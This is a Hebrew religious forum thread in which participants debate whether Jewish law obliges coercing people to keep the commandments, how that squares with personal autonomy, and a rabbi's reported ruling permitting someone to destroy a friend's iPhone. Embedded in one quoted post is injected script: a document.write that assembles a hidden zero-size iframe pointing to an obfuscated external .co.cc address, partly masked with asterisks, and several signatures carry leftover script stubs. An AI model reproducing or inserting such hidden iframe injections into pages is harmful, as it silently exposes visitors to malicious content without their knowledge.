| נשלח ב-3/1/2018 14:19 |
 |
| |
עד כמה כופין על המצוות
על רקע חוק המרכולים והדיונים על כפייה דתית אבל מעבר לפוליטיקה העכשווית אשמח לשמוע את דעתם של חכמי הפורום על כפייה דתית במסגרת ההלכה והיהדות, ככל הידוע לי ההלכה מחייבת כפייה - כופין על המצוות, מענישים עוברי עבירה והפורשים "מדרכי ציבור" דמם מותר (או לכל הפחות אין להצילם), אמנם במקום שבו הכפייה תביא יותר נזק מתועלת (כגון בנו גדול) אין כופין, ואם אין ידנו תקיפה ויכול להיגרם נזק לציבור שומרי התורה אין מענישים, ובמקום שבו מדובר בתינוקות שנשבו לא פועלים בהתאם למלוא הכללים המתייחסים לעוברי עבירה. אבל לכאורה עדיין מוטל עלינו לכפות ככל שהדבר יביא תועלת (כלומר שמירת מצוות) ולהעניש אם נוכל וכנראה גם ליצור מצב שבו לכל אחד יהיה ברור מה חובתו על פי ההלכה ולשאת בהתאם בתוצאות מעשיו.
האם אכן כך היא ההלכה? (איני מחפש פתרונות ותירוצים נקודתיים - כדוגמת השימוש בדברי החזו"א ביחס לתינוקות שנשבו בימינו - אלא התייחסות עקרונית).
האם ישנם הוגי דעות מקובלים או רבנים שמכירים עקרונית בחופש הבחירה של הפרט במסגרת היהדות? אם כן האם זה מתיישב עם ההלכה?
האם יש דרך ליישב את היהדות עם האוטונומיה של הפרט וזכותו לבחור?
|
|
|
|
| נשלח ב-3/1/2018 14:25 |
|
| |
.
יקריב אותו - מלמד שכופין אותו.
יכול בעל כרחו?
תלמוד לומר: "לרצונו".
הא כיצד - כופין אותו עד שיאמר רוצה אני.
|
|
|
|
| נשלח ב-3/1/2018 15:19 |
|
| |
מנהלי משנה
איקון ירוק.
(מוזר להחמיא למי שמייצג את ההנהלה כאשר אני מנהל (לשעבר) ונציב קבילות (בהווה) - אבל מגיע לא רק על השקידה אלא גם על הניסוח)
נתי
אני מקוה ששמרת את התשובה המקורית כדי לערוך אותה ולהפוך אותה לראויה לקריאה - למען כולנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/1/2018 15:27 |
|
| |
סמיתי
ברוך השב!
אני רק מציין שקראתי את השאלה, שמחתי על הניסוח המציג את שאלות היסוד. כאן צריך מסכת שלימה. כשאפנה בל"נ אכתוב.
מואדיב:
ברוך השב!
מה שכתבת הוא כמובן המקור.
והמקור הזה מעורר שאלות כה רבות:
א. איך זה עובד בדיוק? בנפש האדם?
ב. מנלן שזה כך?
אני קופץ לצד השני של הקשת של מנעד התשובות הקיימות והאפשריות:
באחד ממאמריו פרופסור הרב הרטמן כותב שהוא מעיין במעשה בתלמוד אודות הנביאים שקיצצו בהדרגה בשבחי האלוקים, וזאת מפני שאמיתיים היו.
ואם זה נעשה בתפילה, זה יכול וצריך להעשות בכל מקום בתורה ובהלכה.
איני זוכר את דוגמאותיו, ואולי גם דת ומוסר בכלל, אבל יש מקום לשיטתו וגישתו זו לשאול: איך יכולים אנו לבוא בתביעות למי שאינו חש עדיין מחוייב למצוות?
זוהי סברה שגם מדמה מילתא למילתא (=דבר לדבר, נושא לנושא) כדי להצדיק משהו בסיסי מאד שאדם, מודרני כמובן, הומאניסט כמובן, יחוש היום. רתיעה מפני כפיה. אולי אפילו תפיסה אחרת של תפקיד האדם בעולם. ויש להאריך הרבה.
ועוד נקודה, שאם כבר התחלתי אני מזכיר:
אם אנו יוצאים מתוך גישה תועלתנית, עלינו לשאול אם כפיה דתית מועילה או מזיקה. נדמה, בשעה שאנו מסתכלים על ההיסטוריה של הציבור הדתי והחרדי בתוך המדינה, שאנו החרדים חשים שזכותנו לתבוע מאחרים בשם התורה. עכשו, זה נכון שמי שמדבר בשם אלוקים, או התורה שאלוקים נתן, יכול להרשות לעצמו הרבה, אבל דומה שמה שעבד לפני עשרות שנים רבות, כאשר היה ידע ביהדות ומחוייבות ליהדות, לא נכון היום, כאשר הידע על היהדות הוא חלקי מאד. וגם כאן יש להאריך.
ככל שאני מציין נקודות למחשבה כדי לדון בהן באותה מסכת ארוכה שצריך לכתוב, אני מגלה שיש להוסיף עליהן עוד ועוד. מי אנחנו שבאים לדבר בשם התורה? האם באמת אנו מייצגים נכון את התורה כאשר אנו תובעים כפיה בשם אלוקים? האם מה שיכול, אולי, לעבוד בין אדם לעצמו, בין אדם אינדיבידואל לחברו, בחוג המשפחה אולי, שייך בחברה כולה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-3/1/2018 15:41 |
|
| |
.
הבה נציג נקודה למחשבה:
יש מצוות שצריכות כוונה.
אם בכפיית בית הדין על האדם, קיים החשש שהוא לא יתכוון, אלא רק יעשה את המעשה כדי להפסיק את המלקות, האם מותר לבית הדין להלקותו?
שהרי "רוצה אני" לא יהיה כאן, ושמא הם עוברים על חובל.
|
|
|
|
| נשלח ב-3/1/2018 15:53 |
|
| |
| מיימוני כתב: |  |
מואדיב:
ברוך השב!
מה שכתבת הוא כמובן המקור.
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני, זה לא המקור.
הגמרא מנגידה בפירוש בין קרבנות גיטי נשים ושחרורי עבדים ששם יש תנאי של 'רצון', לבין סתם כפיה על המצוות שאינה מצריכה כפייה עד שיאמר רוצה אני.
אלא שמואדיב העלה מיד את הטיעון שכל כפייה בהכרח צריכה להגיע לרצון ומשום 'מצוות צריכות כוונה', לכל היותר זו קושיא למדנית כמו שנתי אוהב ולא מסקנה!
|
|
|
|
| נשלח ב-3/1/2018 15:55 |
|
| |
.
אנונימי:
שמצוות צריכות כוונה פסק בעל השו"ע, לא אני.
|
|
|
|
| נשלח ב-3/1/2018 16:08 |
|
| |
| מואדיב כתב: | | .
אנונימי:
שמצוות צריכות כוונה פסק בעל השו"ע, לא אני. |
|
את הפסק שלך שלמ"ד מצוות צריכות כוונה כופין אותו עד שיאמר רוצה אני פסק האור שמח בהלכות ממרים ולא השו"ע, ויש החלוקים עליו.
מכל מקום טיעון למדני קלאסי זה רק מערפל את הדיון, אם הוא בא כנימוק מוסרי לכפיה.
|
|
|
|
| נשלח ב-4/1/2018 00:41 |
|
| |
אנונימי
ברוך השב!
לצערי איני זוכר את הסוגיה מספיק כדי להביע דעה. אבל האם זה לא נשמע מתמיה שאפשר לכפות אדם לקיים מצוה בלי שנניח שבסופו של דבר הוא יהיה מרוצה מכך? האם הכפיה תלויה ב"מצוות צריכות כוונה"? ומה היא אותה "כוונה" שמצוות צריכות לה? והאם למי שאומר שמצוות אינן צריכות כוונה אין לחשוש כאן שמא יש כאן כוונה הפוכה, שלא לצאת, והאם לגבי המאן הדאמר הזה אין כוונה הפוכה פוסלת? אני שואל מתוך אי ידיעה.
אשתדל לעיין בסוגיות אלו כפי שיימצא זמן. (אני מאד חושש שהזמן הדרוש לזה אינו ברשותי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-4/1/2018 11:54 |
|
| |
הרב מיימוני
האם זה לא נשמע מתמיה שאפשר לכפות אדם לקיים מצוה
למה זה מתמיה? האם לא כופין על אדם לא לקיים מצוות לא תעשה? עד כדי רציחתו שלא יעבור .
|
|
|
|
| נשלח ב-7/1/2018 00:41 |
|
| |
ירוחמ
האם זה ראוי לענות בחטיפה ולא מתוך סדר ושיטה?
צריך להתחיל היכן שהוא, אז נתחיל בשאלה מהו האדם ולמה הוא מחוייב.
איני מתכוון באמת לענות על שתי השאלות האלו, אבל אני כן רוצה לשאול שאלה יותר מסויימת: מה מחייב אותנו, בני אדם, לעשות ולא לעשות?
האם יש לנו איזו מחוייבות או התחייבות או שיעבוד?
יש מי שיענה: כן, מה שאלוקים תובע מחייב אותנו. ואם נשאל: וזאת למה? התשובה תהיה: כי זה כך. וזו תשובה טובה, אמנם לא היחידה.
תשובה אחרת תהיה: אנו מחוייבים למה שקיבלנו על עצמנו.
דומה לזה מצאנו לגבי הדיון הבא:
ויתיצבו בתחתית ההר, אמר רב אבדימי בר חמא בר חסא: מלמד שכפה הקדוש ברוך הוא עליהם את ההר כגיגית, ואמר להם: אם אתם מקבלים התורה - מוטב, ואם לאו - שם תהא קבורתכם.
אמר רב אחא בר יעקב: מכאן מודעא רבה לאורייתא.
אמר רבא: אף על פי כן, הדור קבלוה בימי אחשורוש. דכתיב קימו וקבלו היהודים, קיימו מה שקיבלו כבר.
(תלמוד בבלי מסכת שבת דף פח עמוד א)
איני יודע למה כוון רב אבדימי בפירושו, אבל נראה שרב אחא בר יעקב למד משם שהחיוב לשמור תורה ומצוות נובע מקבלת עם ישראל בסיני. ואם קבלה זו נכפתה עליהם באונס, ואם נניח שאונס אינו אמור לחייב, הרי יש כאן שבר בחיוב המקורי של עם ישראל.
וגם רבא מודה לזה, מפני שהוא מוצא חיוב חוזר מאוחר יותר.
יש לשים לב שיש כאן שני ענינים. ראשית, שאי אפשר לחייב אדם או יהודי בן ישראל בתורה ומצוות אלא מתוך הסכמה. והשני, שהסכמה כזו ניתנה. ואמנם היא לא ניתנה על ידינו, אתה ואני ובאי הפורום ובני דורנו כמו כל הדורות שמאז ועד היום, ולכן זו שאלה, שהרי אין מחייבים אדם נגד רצונו והסכמתו וקבלתו. ולכן יש לשער שהדרשנים והמעיינים, כלומר אותם אמוראים, הניחו שקבלת האבות מחייבת את הבנים. מה שבעינינו (או לפחות בעיני) אינו מובן כלל.
הרי לפי רב אחא אדם יכול לטעון: איני חייב אלא במה שקיבלתי על עצמי. ואני אשאל: ואם מישהו אחר קיבל עלי בשמי, ואם אותו מישהו או אבי המשפחה שלי, מדוע שאהיה חייב בזה? על פי הנחות היסוד של השאלה!
בכל אופן, מצאנו כאן שאין אדם חייב אלא למה שהתחייב, וכמובן זה יכול להיות חיוב גורף.
ולכן זה כולל גם שאני מסכים, עקרונית עם קבלתי תורה ומצוות, שגם יחייבו אותי בכפיה, אם כך התורה אומרת.
ובכל אופן, החיוב הראשוני הזה מתחיל אמנם בהסכמה (מדעת או שלא מדעת, דרך ההורים או באופן עצמאי), אבל לאחר שניתנה אותה הסכמה, כבר אפשר לכפותו כי זה בחוזה שלו.
וכפי שהעיר אנונימי, הסוגיה של כופין אותו עד שיאמר רוצה אינה קשורה לזה, והוא צדק. ואני טעיתי שלא שמתי לב לזה בהתחלה. הסוגיה ההיא דנה בחיובים שבהם ההסכמה והרציה היא תנאי לקיום המצוה. (כגון קרבן, שירצה להביא את הקרבן). וכאן אנו מדברים על כפיות אחרות, גם בלא "רוצה אני".
נכון שצריך "רוצה אני" שיקדם לכל הכפיות, כפי שעם ישראל התחייבו בסיני או למצער בימי אחשורוש, מרצונם הטוב, אבל לאחר הסכמה ראשונית זו, כבר הכל נתון.
הווה אומר: הסכמה ראשונית צריך, אבל לא הסכמות פרטיות לכפיה.
ואפשר היה כמובן להציע מהלכי הסבר אחרים, בגמרא ובפילוסופיה. אבל זה שלפנינו מיוסד על דברי הגמרא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-7/1/2018 00:41 |
|
| |
אנונימי
ברוך השב!
וברכה מיוחדת ואיקון ירוק על ההערה שתיקנת אותי!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/1/2018 07:07 |
|
| |
והנה חדש ותודה לספרננו.
http://www.kikar.co.il/262714.html
הרב דינר פסק: מותר לשבור אייפון של חברוהגאון רבי יהודה אריה דינר פסק לאחד השואלים כי מותר לו לשבור אייפון פסול של חברו מאחר וכך מצילו מהגיהנום ומצטט את הגמרא הקובעת שמותר לקרוע בגד של אישה שהולכת שלא לפי הדין (חרדים)| כ' בטבת תשעח
המלחמה בפגעי הטכנולוגיה: בעלון השבועי ההלכתי של הגאון רבי יהודה אריה דינר, מובאת שאלה מעניינת באשר לאדם התוהה האם כשהוא רואה חבר עם טלפון סלולרי פסול (אייפון או עיתון פסול) האם מותר לו ליטול ממנו את זה ולזורקו או לאבדו? הרב דינר משיב כי הוא אף עושה בכך מצווה משום שמציל את חברו מדינה של גיהינום, ובכך מסתמך הגרי"א דינר על פסקיהם של מרנן הגר"נ קרליץ ושר התורה הגר"ח קנייבסקי ועל שו"תים נוספים. הרב מצטט את הגמרא במסכת ברכות הקובעת שמותר לקרוע בגד של אשה שהולכת שלא לפי הדין, וכותב כי "והא דכתב ה'משך חכמה' שרחל מתה משום שגנבה התרפים אע"פ שעשתה זאת להפרישו מעבודה זרה יש לומר שהתם הוא לפני מתן תורה אבל לאחר מתן תורה 'כל ישראל ערבים זה לזה'
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-8/1/2018 07:10 |
|
| |
מן הראוי לבחון את הגליון הנ"ל ולראות בדיוק מה נאמר בו, ומה הן ראיותיו.
השורה האחרונה, הפסק שמותר לקחת את האייפון או העיתון ולהשמידו, נראה תמוה מאד.
***
ת"ט
אף אני זכיתי לקבל את הדף הזה, ויש בו דברי טעם רבים, לצד קצת פוליטיקה, ואם באתי להעתיק, אפשר להעתיק אפילו יותר. התרצה להעתיק בדיוק מה שאתה רוצה שיראו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/1/2018 08:49 |
|
| |
"חובת הכפיה על המצוות שמעתי מפוסק חשוב שחובה זו קיימת בשתי סיטואציות: האחת, במצב בו כל עמ"י שומר מצוות, יש חובה ציבורית לאכוף את קיום המצוות על יחידים שמפירים את חוקי התורה... ככל פורע חוק (חזו"א). השניה, כאשר הכפיה תביא את העבריין למצב של "רוצה אני" .... אך אם הכפיה תביא אותו לעשיית המצווה גרידא בעוד בליבו פנימה אינו מעוניין ורוצה בה... אין בזה משום כופין כלל, ואף כשהיה עושה והוא כפוי אין זו מצווה אלא מעשה קוף..." אמנם ראה ר"ה כח. כפאו ואכל מצה שיצא וברמב"ם חו"מ ו/ג.
ולגבי שבירת הטלפון - צ"ע שהרי גם לשיטתם, אם בעל הפון סומך על פוסק מקובל שמותר אין לפנ"ע וק"ו שאין לשבור
|
|
|
|
|
